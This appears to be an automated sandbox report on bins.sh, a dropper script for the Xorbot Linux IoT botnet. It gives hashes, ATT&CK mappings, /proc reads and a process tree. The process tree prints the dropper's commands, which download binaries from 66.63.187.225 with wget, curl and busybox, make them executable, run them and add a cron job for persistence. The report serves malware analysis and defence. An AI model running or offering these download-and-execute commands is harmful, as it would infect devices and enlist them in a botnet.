xorbot | 79b5cadd9bb700d3446289f5ac8ecad6f8e606156c382d8ad1b6674f932f448c

Analysis

max time kernel
139s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/01/2025, 23:13

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General

Target

bins.sh
Size

10KB
MD5

7c714b6d0c1399d40ab78b0317f4334a
SHA1

805134873e170312f57b442b64492c6576988455
SHA256

79b5cadd9bb700d3446289f5ac8ecad6f8e606156c382d8ad1b6674f932f448c
SHA512

0016bc8db531ccca54fe53c2d1f65eb210927fda8fa26f9133942647ff4647e5c86c370a582c398dce2f5cbb78c3774a0baf7faca539fb24c4ce7abebdd29059
SSDEEP

192:F8TJrqjzbDk4gpO2DC+GzDOCC+GzDsTJ4zbDk4A:FUqkpO2Xi

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1999) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1516	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	1517	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

Renames itself 1 IoCs

pid	Process
1518	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ItxsEP	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1597/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1657/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1665/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/459/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/562/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1152/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1530/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1553/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1671/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1674/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1086/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1140/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1176/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1686/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1704/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1609/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1635/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1685/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1113/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1592/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1601/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1602/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1608/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1705/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1727/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/21/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/982/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1016/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1659/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1683/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/24/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/581/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1636/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1640/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1692/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1528/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1589/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1616/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/16/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/487/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/610/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1063/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1101/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1627/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1656/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1676/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1658/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1718/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/80/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/175/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1130/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1562/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1634/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/4/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1477/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1576/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1684/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1719/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/161/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1226/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1502/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1633/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/1717/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
File opened for reading	/proc/428/cmdline	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	wget
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	curl
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1508
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  ./hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1517
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1520
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1522
- /bin/rm
  rm hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  PID:1527

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.ItxsEP

Filesize
210B

MD5
3f75d76da659781c849304acaacd554e

SHA1
c5f243952acbe2858af01967925c837c9ff95d50

SHA256
2da8fc8d38f423ae08c3c344fb8370c3213c1ebf31d61bacce7a0ecabc5bb425

SHA512
207b5d2d2fb07cd739cdad0e0c0a29fe502d8141ec4d8a65bbc1118bbc7064570a4df307a40dce255371b9ea20c29c92bcc6235a99c747f35a25f7c62033c002

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads